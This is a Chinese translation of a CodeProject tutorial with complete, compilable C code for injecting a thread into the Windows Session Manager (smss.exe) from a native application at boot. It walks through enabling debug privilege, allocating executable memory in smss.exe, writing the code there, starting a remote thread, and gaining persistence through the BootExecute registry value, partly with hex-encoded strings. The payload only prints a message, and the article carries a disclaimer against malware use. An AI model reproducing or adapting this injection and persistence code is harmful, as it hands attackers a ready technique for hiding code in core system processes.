65.9K
CodeProject 正在变化。 阅读更多。
Home

原生线程注入 | 进入会话管理器子系统

starIconstarIconstarIconstarIcon
emptyStarIcon
starIcon

4.95/5 (46投票s)

2009年5月11日

CPOL

4分钟阅读

viewsIcon

70052

downloadIcon

938

这篇短文描述了从一个 Windows 原生应用程序向另一个应用程序注入线程的例程,在本例中,是在系统启动期间注入到会话管理器子系统中。

Native Thread Injection

免责声明:请勿在恶意软件中使用提供的代码。

引言

所以,这实际上不是关于一些酷炫黑客技巧的超级解释论文,只是一个小小的建议。 我不会在这里解释很多代码,因为它会 *很多*。 本文基于我的另一篇文章:3 steps down the stairs,但在这里我们将了解 Windows 原生世界中的线程注入。 因此,我将向您展示一个工作示例,说明如何将线程从一个原生应用程序注入到另一个原生应用程序中,在本例中,它将是会话管理器子系统。 这将是对 smss.exe 的注入攻击。
对于不熟悉所有这些原生内容的人来说,一些小提示。 来自维基的一段引言

原生 API(大写 N)是由 Microsoft [1] 生产的 Windows NT 操作系统系列内部使用的公共但不完全记录的应用程序编程接口。 大多数原生 API 调用在 ntoskrnl.exe 中实现,并通过 ntdll.dll 向用户模式公开。 一些原生 API 调用直接在用户模式下的 ntdll.dll 中实现。

虽然大多数 Microsoft Windows 是使用已记录且定义完善的 Windows API 实现的,但少数组件(例如客户端/服务器运行时子系统)是使用原生 API 实现的,因为它们在 Windows NT 启动过程中启动得足够早,以至于 Windows API 尚不可用。

原生 Windows API 有时在 Win32 应用程序中使用,很少在合法的应用程序中使用,主要是在恶意软件中使用。 检查恶意代码时,您通常可以通过以下方式观察其用法

--[file header.h]--

typedef  WINAPI NTAPI;

typedef struct _MY_AWESOME_STRUCTURE {
    USHORT Argument;
    USHORT NextArgument;
    PWSTR  Whatever;
} MY_AWESOME_STRUCTURE;

typedef MY_AWESOME_STRUCTURE *PMY_AWESOME_STRUCTURE;

NTSTATUS
(NTAPI *NtAwesomeFunction)
( PMY_AWESOME_STRUCTURE  Something ,PCWSTR NextSomething);

--[file main.c]--

#include <windows.h>
#include "header.h"

BOOL GimmeNative(){
HMODULE hObsolete  = GetModuleHandle("ntdll.dll");
*(FARPROC *)&NtAwesomeFunction = GetProcAddress(hObsolete, "NtAwesomeFunction");
return 0;
}

Int main(){
MY_AWESOME_STRUCTURE argument1;
PCWSTR argument2;
GimmeNative();
NtAwesomeFunction(argument1, argument2);
Return 0;
}

这就是从 Win32 世界完成的方式。 但这只是对于那些不太了解或从未遇到过此类情况的人的一个例子。 对于恶意软件研究人员来说,这很明显。 现在,为了让您了解纯原生应用程序,我将在此处展示可能最简单的示例。

--[file nt.h]--

#define NtCurrentProcess() ( (HANDLE) -1 )
// structures...
typedef struct {
       ULONG            Unknown[21];
       UNICODE_STRING   CommandLine;
       UNICODE_STRING   ImageFile;
} ENVIRONMENT_INFORMATION, *PENVIRONMENT_INFORMATION;

typedef struct {
       ULONG                     Unknown[3];
       PENVIRONMENT_INFORMATION  Environment;
} STARTUP_ARGUMENT, *PSTARTUP_ARGUMENT;

// function definitions..
NTSTATUS NTAPI NtDisplayString(PUNICODE_STRING String );	// similar to win32 
							// sleep function
NTSTATUS NTAPI NtDelayExecution(IN BOOLEAN Alertable, 
			IN PLARGE_INTEGER DelayInterval ); // like sleep
NTSTATUS NTAPI NtTerminateProcess(HANDLE ProcessHandle, 
				LONG ExitStatus ); // terminate own process
VOID NTAPI RtlInitUnicodeString(PUNICODE_STRING DestinationString,
			PCWSTR SourceString); // initialization of unicode string

--[file nt.c]--

#include <ddk\ntddk.h>
#include "nt.h"

// just to make life easier, we create our own sleep like function 
// with argument in seconds
BOOL NtDelayExecutionEx(DWORD dwSeconds){
     LARGE_INTEGER Interval;
     Interval.QuadPart = -(unsigned __int64)dwSeconds * 10000 * 1000;
     NtDelayExecution (FALSE, &Interval);
}

void NtProcessStartup( PSTARTUP_ARGUMENT Argument ){ // entry point
UNICODE_STRING dbgMessage;	// unicode string
RtlInitUnicodeString(&dbgMessage, L"Hello from Native :)\n"); // lets initialize it
NtDisplayString( &dbgMessage );	// print message
NtDelayExecutionEx(5);	// sleep 5 secs
NtTerminateProcess( NtCurrentProcess(), 0 ); // terminate our own process and 
				// return control to session manager subsystem
}

因此,此应用程序将只做一些无用的事情:它将在系统启动时,在蓝屏上打印一条消息“Hello from Native :)”,睡眠 5 秒钟然后终止自身。 容易。 现在我将向您展示如何将上述函数注入到会话管理器子系统中。 线程注入是一种广为人知的例程,没有什么特别之处,但是我找不到任何描述网络上原生应用程序中这种技术的文章,所以我们就开始了。 好的,直奔主题,我的朋友们,我们没有太多时间,人生苦短...

进入代码

~~~~[code snippet / file inject.c]~~~~

#include <ddk\ntddk.h>
#include "nt.h"
// our remote functions prototypes
typedef VOID (NTAPI *my_RtlInitUnicodeString)(PUNICODE_STRING ,PCWSTR);
typedef NTSTATUS (NTAPI *my_NtDisplayString)(PUNICODE_STRING);
typedef NTSTATUS (NTAPI *my_NtTerminateThread)( HANDLE , NTSTATUS  );
typedef NTSTATUS (NTAPI *my_NtDelayExecution)(BOOLEAN, PLARGE_INTEGER);

现在构建远程结构...

~~~~[code snippet / file inject.c]~~~~

typedef struct _NtRemoteStructure {

PVOID pvRtlInitUnicodeString;
PVOID pvNtDisplayString;
PVOID pvNtTerminateThread;
WCHAR dbgMessage[100];
UNICODE_STRING output;

} NtRemoteStructure;

NtRemoteStructure my_Structure,*pmy_Structure;

好的,现在您可能会问,但是我们如何获得 smss.exe 的 pid? 我们只知道诸如:Process32NextCreateToolHelpSnapShotProcess32First 之类的函数。 不,我们知道的更多...

~~~~[code snippet / inject.c]~~~~

HANDLE KeGetPID(WCHAR *pstrProcessName){
	UNICODE_STRING dbgMessage;
        NTSTATUS Status;
        SIZE_T cbBuffer = 0x8000;
        PVOID pBuffer = NULL;
        HANDLE hResult = NULL;
		PULONG dwId;
		PSYSTEM_PROCESSES pProcesses;
		RTL_HEAP_DEFINITION  heapParams;
		heapParams.Length = sizeof( RTL_HEAP_PARAMETERS );

        do{
		pBuffer = (void *)RtlAllocateHeap(NtGetProcessHeap(), 
			0, cbBuffer); if (pBuffer == NULL){return 0;}
            Status = NtQuerySystemInformation(SystemProcessInformation,pBuffer, 
							cbBuffer, NULL);
            if (Status == STATUS_INFO_LENGTH_MISMATCH){
			RtlFreeHeap(NtGetProcessHeap(), 0, pBuffer); cbBuffer *= 2;
            }else if (!NT_SUCCESS(Status)){
				RtlFreeHeap(NtGetProcessHeap(), 0, pBuffer); 
				return 0;
			}
        }
        while (Status == STATUS_INFO_LENGTH_MISMATCH);
        pProcesses = (PSYSTEM_PROCESSES)pBuffer;

        for (;;){
            WCHAR *pszProcessName = pProcesses->ProcessName.Buffer;
            if (pszProcessName == NULL)pszProcessName = L"Idle";
            if(wcscmp(pszProcessName, pstrProcessName) == 0){
				dwId = (HANDLE)pProcesses->ProcessId;
                break;
            }

            if (pProcesses->NextEntryDelta == 0)break;
            pProcesses = (PSYSTEM_PROCESSES)(((BYTE *)pProcesses)+ 
					pProcesses->NextEntryDelta);
        }
RtlFreeHeap(NtGetProcessHeap(), 0, pBuffer);
return dwId;
}

就是这样。 这个函数将完成这项工作。 因此,我仍然不是 NtAllocateVirtualMemory 的亲密“朋友”,这就是我们正在穿越的原因

~~~~[code snippet / inject.c]~~~~

LPVOID NTAPI NtVirtualAllocEx(IN HANDLE hProcess,
	IN LPVOID  lpAddress,IN SIZE_T dwSize,	// VirtualAllocEx
		                     IN DWORD flAllocationType, IN DWORD  flProtect) {
     NTSTATUS Status;
     Status = NtAllocateVirtualMemory(hProcess,(PVOID *)&lpAddress,0,
				&dwSize,flAllocationType,flProtect);
     if (!NT_SUCCESS(Status))return NULL;
     return lpAddress;
}

和 sleep 函数,只是为了让生活更轻松。

~~~~[code snippet / inject.c]~~~~

BOOL NtDelayExecutionEx(DWORD dwSeconds){
     LARGE_INTEGER Interval;
     Interval.QuadPart = -(unsigned __int64)dwSeconds * 10000 * 1000;
     NtDelayExecution (FALSE, &Interval);
}

好的,让我们编写我们的远程线程函数

~~~~[code snippet / inject.c]~~~~

DWORD __stdcall ReThread(NtRemoteStructure *Parameter){

my_RtlInitUnicodeString myRtlInitUnicodeString = 
	(my_RtlInitUnicodeString)Parameter->pvRtlInitUnicodeString;
my_NtDisplayString myNtDisplayString = 
	(my_NtDisplayString)Parameter->pvNtDisplayString;
my_NtTerminateThread myNtTerminateThread = 
	(my_NtTerminateThread)Parameter->pvNtTerminateThread;

myRtlInitUnicodeString( &(Parameter->output), Parameter->dbgMessage);
myNtDisplayString(&Parameter->output);
myNtTerminateThread(NtCurrentThread(), 0);
}

现在我们正在向前迈进,并非常快速地编写我们的 main 函数,它实际上负责远程线程的执行,注入和所有肮脏的工作。 ;)

~~~~[code snippet / inject.c]~~~~

void NtProcessStartup( PSTARTUP_ARGUMENT Argument ){

void *pThread;
HANDLE hProcess; // handle to smss
UNICODE_STRING dbgMessage, uniNameNtDLL; // ....[].......
OBJECT_ATTRIBUTES ObjectAttributes; // needed for open process function
BOOL en; // out argument, needed for adjust privilege function
WCHAR storage[250]; // here we will store smss's pid for later manipulations ;)
CLIENT_ID ClientId; // this will contain smss's pid
SIZE_T stThreadSize = 2048; // size of our remote thread
HANDLE hNtDLL; // handle to loaded ntdll.dll
ANSI_STRING ansiRtlInitUnicodeString, ansiNtDisplayString, ansiNtTerminateThread;
// ^ this strings will contain names of our import functions, 
// passed to LdrGetProcedureAddress;
// functions names must be ansi strings

PVOID fRtlInitUnicodeString, fNtDisplayString, fNtTerminateThread;

RtlInitUnicodeString(&dbgMessage, L"\nTrying to inject thread...\n");
NtDisplayString( &dbgMessage );

RtlAdjustPrivilege(20, TRUE, AdjustCurrentProcess, &en); // set debug privileges
ClientId.UniqueProcess = (HANDLE)KeGetPID(L"smss.exe"); // get smss.exe pid
ClientId.UniqueThread = 0; // zero
swprintf(storage, L"smss pid: %d", ClientId); // store smss pid for later print out
RtlInitUnicodeString(&dbgMessage, storage);
NtDisplayString( &dbgMessage ); // print smss's pid

InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL); // whatever...
NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS  , 
	&ObjectAttributes, &ClientId); // open this smss.exe programm xD
pThread = NtVirtualAllocEx(hProcess, 0, stThreadSize, 
		MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(hProcess, pThread, &ReThread, stThreadSize,0);
RtlZeroMemory(&my_Structure,sizeof(NtRemoteStructure));
// ^ we are allocating memory in smss.exe

RtlInitUnicodeString(&uniNameNtDLL, L"ntdll.dll"); 	// convert "ntdll.dll" to 
						// unicode string
RtlInitAnsiString(&ansiRtlInitUnicodeString,  "RtlInitUnicodeString"); // conversion to 
							       // ansi string
RtlInitAnsiString(&ansiNtDisplayString,  "NtDisplayString");
RtlInitAnsiString(&ansiNtTerminateThread,  "NtTerminateThread");

LdrLoadDll(NULL ,0 , &uniNameNtDLL, &hNtDLL); // load ntdll.dll

LdrGetProcedureAddress(hNtDLL, &ansiRtlInitUnicodeString, 0, &fRtlInitUnicodeString);
LdrGetProcedureAddress(hNtDLL, &ansiNtDisplayString, 0, &fNtDisplayString);
LdrGetProcedureAddress(hNtDLL, &ansiNtTerminateThread, 0, &fNtTerminateThread);
// ^ lets get all needed procedures addresses

my_Structure.pvRtlInitUnicodeString = (void *)fRtlInitUnicodeString;
my_Structure.pvNtDisplayString = (void *)fNtDisplayString;
my_Structure.pvNtTerminateThread = (void *)fNtTerminateThread;
swprintf(my_Structure.dbgMessage, L"\nInjected!\n");
// ^ assign values to the structure

DWORD dwSize = sizeof(NtRemoteStructure);
pmy_Structure =(NtRemoteStructure *)NtVirtualAllocEx 
	(hProcess ,0,sizeof(NtRemoteStructure),MEM_COMMIT,PAGE_READWRITE);
NtWriteVirtualMemory(hProcess ,pmy_Structure,&my_Structure,sizeof(my_Structure),0);
RtlCreateUserThread(hProcess, NULL,FALSE, 0, 0, 0,
		(PVOID)pThread,(PVOID)pmy_Structure, 0, 0);
NtClose(hProcess);
NtDelayExecutionEx(5); // just to show you output from our remote thread inside smss.exe
NtTerminateProcess( NtCurrentProcess(), 0 );
}

就是这样。 但是,要编译以上代码,您需要一个额外的文件,一个头文件。 我们开始吧

~~~~[file nt.h]~~~~

#define  NtGetProcessHeap()		(NtCurrentTeb()->PebBaseAddress->DefaultHeap)

#define  NtCurrentThread()		((HANDLE) -2)

typedef struct {
       ULONG            Unknown[21];
       UNICODE_STRING   CommandLine;
       UNICODE_STRING   ImageFile;
} ENVIRONMENT_INFORMATION, *PENVIRONMENT_INFORMATION;

#if (_WIN32_WINNT >= 0x0400)
#define EXIT_STACK_SIZE 0x188
#else
#define EXIT_STACK_SIZE 0x190
#endif


typedef struct {
       ULONG                     Unknown[3];
       PENVIRONMENT_INFORMATION  Environment;
} STARTUP_ARGUMENT, *PSTARTUP_ARGUMENT;

typedef struct {
	ULONG    	Length;
	ULONG    	Unknown[11];
} RTL_HEAP_DEFINITION, *PRTL_HEAP_DEFINITION;

typedef enum {
     AdjustCurrentProcess,
     AdjustCurrentThread
} ADJUST_PRIVILEGE_TYPE;

typedef STRING *PSTRING;
typedef STRING ANSI_STRING;
typedef PSTRING PANSI_STRING;

typedef struct _CURDIR
{
   UNICODE_STRING	DosPath;
   HANDLE			Handle;
} CURDIR, *PCURDIR;

typedef struct _RTL_DRIVE_LETTER_CURDIR
{
	WORD	Flags;
	WORD	Length;
	DWORD	TimeStamp;
	STRING	DosPath;
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;

#define	PROCESS_PARAMETERS_NORMALIZED	1	// pointers in are absolute 
						// (not self-relative)

typedef struct _PROCESS_PARAMETERS
{
    ULONG					MaximumLength;
    ULONG					Length;
    ULONG					Flags;	// PROCESS_PARAMETERS_NORMALIZED
    ULONG					DebugFlags;
    HANDLE					ConsoleHandle;
    ULONG					ConsoleFlags;
    HANDLE					StandardInput;
    HANDLE					StandardOutput;
    HANDLE					StandardError;
    CURDIR					CurrentDirectory;
    UNICODE_STRING			DllPath;
    UNICODE_STRING			ImagePathName;
    UNICODE_STRING			CommandLine;
    PWSTR					Environment;
    ULONG					StartingX;
    ULONG					StartingY;
    ULONG					CountX;
    ULONG					CountY;
    ULONG					CountCharsX;
    ULONG					CountCharsY;
    ULONG					FillAttribute;
    ULONG					WindowFlags;
    ULONG					ShowWindowFlags;
    UNICODE_STRING			WindowTitle;
    UNICODE_STRING			Desktop;
    UNICODE_STRING			ShellInfo;
    UNICODE_STRING			RuntimeInfo;
	RTL_DRIVE_LETTER_CURDIR	CurrentDirectores[32];
} PROCESS_PARAMETERS, *PPROCESS_PARAMETERS;

typedef struct _PEB {
	ULONG AllocationSize;
	ULONG Unknown1;
	HANDLE ProcessInstance;
	PVOID DllList;
	PPROCESS_PARAMETERS ProcessParameters;
	ULONG Unknown2;
	HANDLE DefaultHeap;

} PEB, *PPEB;

typedef struct _TEB {
    struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList;
    PVOID StackBase;
    PVOID StackLimit;
    PVOID SubSystemTib;
    ULONG Version;
    PVOID ArbitraryUserPointer;
    struct _TEB *Self;

	ULONG Unknown1;
	CLIENT_ID ClientID;
	ULONG Unknown2;
	ULONG Unknown3;
	PPEB PebBaseAddress;
	ULONG LastError;
	ULONG Unknown[0x23];
	ULONG Locale;
	ULONG ExitStack[EXIT_STACK_SIZE];

} TEB;
typedef TEB *PTEB;

typedef struct _SYSTEM_MODULE
{
    ULONG	Reserved[2];
    ULONG	Base;
    ULONG	Size;
    ULONG	Flags;
    USHORT	Index;
    USHORT	Unknown;
    USHORT	LoadCount;
    USHORT	ModuleNameOffset;
    CHAR	ImageName[256];
} SYSTEM_MODULE,
*PSYSTEM_MODULE;

typedef struct _SYSTEM_MODULE_INFORMATION
{
	ULONG			uCount;
	SYSTEM_MODULE	aSM[];
} SYSTEM_MODULE_INFORMATION,
*PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS
{
	SystemBasicInformation,             // 0x002C
	SystemProcessorInformation,         // 0x000C
	SystemPerformanceInformation,       // 0x0138

	SystemTimeInformation,              // 0x0020
	SystemPathInformation,              // not implemented
	SystemProcessInformation,           // 0x00C8+ per process
	SystemCallInformation,              // 0x0018 + (n * 0x0004)
	SystemConfigurationInformation,     // 0x0018
	SystemProcessorCounters,            // 0x0030 per cpu
	SystemGlobalFlag,                   // 0x0004 (fails if size != 4)
	SystemCallTimeInformation,          // not implemented
	SystemModuleInformation,            // 0x0004 + (n * 0x011C)
	SystemLockInformation,              // 0x0004 + (n * 0x0024)
	SystemStackTraceInformation,        // not implemented
	SystemPagedPoolInformation,         // checked build only
	SystemNonPagedPoolInformation,      // checked build only
	SystemHandleInformation,            // 0x0004  + (n * 0x0010)
	SystemObjectTypeInformation,        // 0x0038+ + (n * 0x0030+)
	SystemPageFileInformation,          // 0x0018+ per page file
	SystemVdmInstemulInformation,       // 0x0088
	SystemVdmBopInformation,            // invalid info class
	SystemCacheInformation,             // 0x0024
	SystemPoolTagInformation,           // 0x0004 + (n * 0x001C)
	SystemInterruptInformation,         // 0x0000, or 0x0018 per cpu
	SystemDpcInformation,               // 0x0014
	SystemFullMemoryInformation,        // checked build only
	SystemLoadDriver,                   // 0x0018, set mode only
	SystemUnloadDriver,                 // 0x0004, set mode only
	SystemTimeAdjustmentInformation,    // 0x000C, 0x0008 writeable
	SystemSummaryMemoryInformation,     // checked build only
	SystemNextEventIdInformation,       // checked build only
	SystemEventIdsInformation,          // checked build only
	SystemCrashDumpInformation,         // 0x0004
	SystemExceptionInformation,         // 0x0010
	SystemCrashDumpStateInformation,    // 0x0004
	SystemDebuggerInformation,          // 0x0002
	SystemContextSwitchInformation,     // 0x0030
	SystemRegistryQuotaInformation,     // 0x000C
	SystemAddDriver,                    // 0x0008, set mode only
	SystemPrioritySeparationInformation,// 0x0004, set mode only
	SystemPlugPlayBusInformation,       // not implemented
	SystemDockInformation,              // not implemented
	SystemPowerInfo,					// 0x0060 (XP only!)
	SystemProcessorSpeedInformation,    // 0x000C (XP only!)
	SystemTimeZoneInformation,          // 0x00AC
	SystemLookasideInformation,         // n * 0x0020
	SystemSetTimeSlipEvent,
    SystemCreateSession,				// set mode only
    SystemDeleteSession,				// set mode only
    SystemInvalidInfoClass1,			// invalid info class
    SystemRangeStartInformation,		// 0x0004 (fails if size != 4)
    SystemVerifierInformation,
    SystemAddVerifier,
    SystemSessionProcessesInformation,	// checked build only
	MaxSystemInfoClass
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;

typedef struct THREAD_BASIC_INFORMATION
{
	NTSTATUS	ExitStatus;
	PVOID		TebBaseAddress;
	CLIENT_ID	ClientId;
	KAFFINITY	AffinityMask;
	KPRIORITY	Priority;
	KPRIORITY	BasePriority;

} THREAD_BASIC_INFORMATION,
*PTHREAD_BASIC_INFORMATION;

typedef enum _KTHREAD_STATE {
    Initialized,
    Ready,
    Running,
    Standby,
    Terminated,
    Waiting,
    Transition,
    DeferredReady,
} THREAD_STATE, *PTHREAD_STATE;

typedef struct _SYSTEM_THREADS
{
	LARGE_INTEGER KernelTime;
	LARGE_INTEGER UserTime;
	LARGE_INTEGER CreateTime;
	ULONG         WaitTime;
	PVOID         StartAddress;
	CLIENT_ID     ClientId;
	KPRIORITY     Priority;
	KPRIORITY     BasePriority;
	ULONG         ContextSwitchCount;
	THREAD_STATE  State;
	KWAIT_REASON  WaitReason;
}SYSTEM_THREADS,*PSYSTEM_THREADS;

typedef struct _VM_COUNTERS
{
	ULONG PeakVirtualSize;
	ULONG VirtualSize;
	ULONG PageFaultCount;
	ULONG PeakWorkingSetSize;
	ULONG WorkingSetSize;
	ULONG QuotaPeakPagedPoolUsage;
	ULONG QuotaPagedPoolUsage;
	ULONG QuotaPeakNonPagedPoolUsage;
	ULONG QuotaNonPagedPoolUsage;
	ULONG PagefileUsage;
	ULONG PeakPagefileUsage;
}VM_COUNTERS,*PVM_COUNTERS;

typedef struct _SYSTEM_PROCESSES {
	ULONG  NextEntryDelta;
	ULONG  ThreadCount;
	ULONG  Reserved1[6];
	LARGE_INTEGER  CreateTime;
	LARGE_INTEGER  UserTime;
	LARGE_INTEGER  KernelTime;
	UNICODE_STRING  ProcessName;
	KPRIORITY  BasePriority;
	HANDLE  ProcessId;
	HANDLE  InheritedFromProcessId;
	ULONG  HandleCount;
	ULONG  Reserved2[2];
	VM_COUNTERS  VmCounters;
	IO_COUNTERS  IoCounters;
	SYSTEM_THREADS  Threads[1];
} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;

typedef NTSTATUS(NTAPI * PRTL_HEAP_COMMIT_ROUTINE)(IN PVOID Base,
		IN OUT PVOID *CommitAddress,IN OUT PSIZE_T CommitSize);

typedef struct _RTL_HEAP_PARAMETERS {
    ULONG Length;
    SIZE_T SegmentReserve;
    SIZE_T SegmentCommit;
    SIZE_T DeCommitFreeBlockThreshold;
    SIZE_T DeCommitTotalFreeThreshold;
    SIZE_T MaximumAllocationSize;
    SIZE_T VirtualMemoryThreshold;
    SIZE_T InitialCommit;
    SIZE_T InitialReserve;
    PRTL_HEAP_COMMIT_ROUTINE CommitRoutine;
    SIZE_T Reserved[ 2 ];
} RTL_HEAP_PARAMETERS, *PRTL_HEAP_PARAMETERS;

NTSTATUS NTAPI NtDisplayString(PUNICODE_STRING String );

NTSTATUS NTAPI NtTerminateProcess(HANDLE ProcessHandle, LONG ExitStatus );

#define NtCurrentProcess() ( (HANDLE) -1 )

HANDLE NTAPI RtlCreateHeap(ULONG Flags, PVOID BaseAddress, 
				ULONG SizeToReserve, ULONG SizeToCommit,
				PVOID Unknown,PRTL_HEAP_DEFINITION Definition);

PVOID NTAPI RtlAllocateHeap(HANDLE Heap, ULONG Flags, ULONG Size );

VOID NTAPI RtlInitUnicodeString(PUNICODE_STRING DestinationString,PCWSTR SourceString);

LONG 	 __stdcall RtlAdjustPrivilege(int,BOOL,BOOL,BOOL *);

NTSTATUS NTAPI NtClose(IN HANDLE ObjectHandle );

NTSTATUS NTAPI NtDelayExecution(IN BOOLEAN Alertable, IN PLARGE_INTEGER DelayInterval );

NTSTATUS NTAPI RtlCreateUserThread(IN HANDLE ProcessHandle, 
			IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
			IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits, 
			IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, 
			IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL,
			OUT PHANDLE ThreadHandle, OUT PCLIENT_ID ClientID );

PVOID NTAPI RtlAllocateHeap(IN PVOID HeapHandle, IN ULONG Flags, IN ULONG Size );

NTSTATUS NTAPI NtQuerySystemInformation
    (IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation,
	IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL );

BOOLEAN NTAPI RtlFreeHeap(IN PVOID HeapHandle, IN ULONG Flags OPTIONAL, 
						IN PVOID MemoryPointer );

NTSTATUS NTAPI NtWaitForSingleObject(IN HANDLE ObjectHandle, 
		IN BOOLEAN Alertable, IN PLARGE_INTEGER TimeOut OPTIONAL );

NTSTATUS NTAPI NtOpenProcess(OUT PHANDLE ProcessHandle, IN ACCESS_MASK AccessMask,
            	IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId );

NTSTATUS NTAPI NtTerminateThread(IN HANDLE ThreadHandle, IN NTSTATUS ExitStatus );

NTSTATUS NTAPI NtAllocateVirtualMemory(IN HANDLE ProcessHandle, 
		IN OUT PVOID *BaseAddress, IN ULONG ZeroBits,
		IN OUT PULONG RegionSize, IN ULONG AllocationType, IN ULONG Protect );

NTSTATUS NTAPI NtWriteVirtualMemory(IN HANDLE ProcessHandle, 
		IN PVOID BaseAddress, IN PVOID Buffer,
		IN ULONG NumberOfBytesToWrite, 
		OUT PULONG  NumberOfBytesWritten OPTIONAL);

NTSTATUS NTAPI LdrGetProcedureAddress(IN HMODULE ModuleHandle, 
		IN PANSI_STRING FunctionName OPTIONAL,
		IN WORD Oridinal OPTIONAL, OUT PVOID *FunctionAddress );

NTSTATUS NTAPI LdrLoadDll( IN PWCHAR PathToFile OPTIONAL, IN ULONG Flags OPTIONAL,
                        IN PUNICODE_STRING ModuleFileName, OUT PHANDLE ModuleHandle );

结束语

因此,您必须从以上所有内容中创建两个文件:nt.cnt.h。 接下来,编译它们

wine /root/bin/MinGW/bin/gcc.exe nt.c -o native.exe -lntdll 
		-nostdlib -Wl,--subsystem,native,-e,_NtProcessStartup

是的,您必须从该行中删除一些内容,因为我在我的 Linux 盒子上编译 Windows 应用程序。

接下来,手动将 native.exe 放入您的 system32 文件夹中,或者以程序员的方式进行操作

CopyFile("native.exe","C:\\windows\\system32\\native.exe",FALSE);
DeleteFile("native.exe");

然后,在 Windows 注册表中编辑正确的内容

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager -> 
				BootExecute | autocheck autochk * native

屏幕截图

Native Thread Injection

更正二进制数据,因为它产生 5 个零,而应该只有 3 个,像这样

Native Thread Injection

... 或者以程序员的方式进行操作

char lpszA[] = {0x61,0x75,0x74,0x6f,0x63,0x68,0x65,0x63,0x6b,0x20,
	0x61,0x75,0x74,0x6f,0x63,0x68,0x6b,0x20,0x2a,0x00}; // autocheck autochk *
char lpszB[] = {0x6e,0x61,0x74,0x69,0x76,0x65, 0x00}; // native
char boo_ex[] = { 0x42, 0x6f, 0x6f, 0x74, 0x45, 0x78, 0x65, 
			0x63, 0x75, 0x74, 0x65, 0x00};// BootExecute
	DWORD dwSize = ((strlen(lpszA) + strlen(lpszB)) + 3);
	LPBYTE lpNative = (BYTE *)RtlAllocateHeap(NtGetProcessHeap(),0,dwSize);
	memset(lpNative, 0, dwSize);
	memcpy(lpNative, lpszA, strlen(lpszA) + 1);
	memcpy(lpNative + strlen(lpszA) + 1, lpszB, strlen(lpszB) + 1);
	if (RegOpenKey(HKEY_LOCAL_MACHINE, "\\SYSTEM\\CurrentControlSet\\
			Control\\SessionManager", &hk) == STATUS_SUCCESS){
		RegDeleteValue(hk, boo_ex);
		RegSetValueEx(hk, TEXT(boo_ex), 0, REG_MULTI_SZ, 
				(LPBYTE) lpNative,(DWORD) dwSize -1);
	} 

重新启动您的 Windows 系统,我们开始吧!

Native Thread Injection

此致,cross <cross[at]x1machine.com>

历史

  • 2009 年 5 月 9 日:初始版本
© . All rights reserved.